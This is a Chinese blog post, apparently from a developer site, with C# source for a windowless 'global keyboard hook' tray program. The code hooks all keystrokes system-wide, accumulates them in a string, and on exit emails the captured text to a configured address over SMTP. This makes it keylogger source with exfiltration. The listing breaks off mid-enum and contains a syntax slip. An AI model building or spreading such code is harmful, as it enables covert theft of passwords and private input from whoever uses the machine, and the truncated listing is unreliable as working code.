c# 全局键盘钩子(无窗体)

using System;
using System.Collections.Generic;
using System.Windows.Forms;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Net.Mail;

namespace noformtest
{
    static class Program
    {
        /// <summary>
        /// 应用程序的主入口点。
        /// </summary>
        [STAThread]
        static void Main()
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            System.Resources.ResourceManager resources = new System.Resources.ResourceManager("noformtest.Properties.Resources", System.Reflection.Assembly.GetExecutingAssembly());
           
            MyHook myhook1 = new MyHook();
             myhook1.HookStart();
            NotifyIcon ni = new NotifyIcon();
            ContextMenuStrip cs = new System.Windows.Forms.ContextMenuStrip();
            ni.Icon = ((System.Drawing.Icon)(resources.GetObject("_1")));
            ni.BalloonTipIcon = System.Windows.Forms.ToolTipIcon.Warning;
            ni.BalloonTipText = "小钩子";
            ni.BalloonTipTitle = "嘎嘎";
            ni.Visible = true;
            ni.Text = "键盘钩子";

            ni.ContextMenuStrip = cs;
            ToolStripMenuItem ExitToolStripMenuItem= new ToolStripMenuItem();
            cs.Items.AddRange(
            new System.Windows.Forms.ToolStripItem[] {
            ExitToolStripMenuItem }
            );
            cs.Name = "cs";
            cs.Size = new System.Drawing.Size(95, 48);
           
            ExitToolStripMenuItem.Name = "ExitToolStripMenuItem";
            ExitToolStripMenuItem.Size = new System.Drawing.Size(94, 22);
            ExitToolStripMenuItem.Text = "退出";
            ExitToolStripMenuItem.Click += delegate(object sender, EventArgs e)
            {
                ni.Visible = false;
                //myhook1.saveTofile();//保存到本地文件

//发送到指定邮箱(stmp)
                EMail email = new EMail("发件人地址", 收件人地址","STMP邮件服务器地址", "用户名", "密码", myhook1.strall);
                email.sendmail();


                myhook1.HookStop();
                Application.Exit();

            };
          
            ni.MouseClick += delegate(object sender, MouseEventArgs e)
            {
               if( e.Button== MouseButtons.Left)
                ni.ShowBalloonTip(5);
            };
           

            Application.Run();
        }

        public partial class MyHook {
            ProcessModule curModule;
           //声明委托
            public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
            public string strall;
            HookProc KeyboardHookProcedure;
            static int hKeyboardHook = 0;
            const int WM_KEYDOWN = 0x0100;
            const int WM_SYSKEYDOWN = 0x0104;
            //定义变量
            internal enum HookType   //枚举,钩子的类型    
            {
                //MsgFilter   =   -1,    
                //JournalRecord   =   0,    
                //JournalPlayback   =   1,    
                Keyboard = 13,   
                //GetMessage   =   3,    
                //CallWndProc   =   4,    
                //CBT   =   5,    
                //SysMsgFilter   =   6,    
                //Mouse   =   7,    
                //Hardware   =   8,    
                //Debug   =   9,    
                //Shell   =   10,    
                //ForegroundIdle   =   11,    
                //CallWndProcRet   =

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值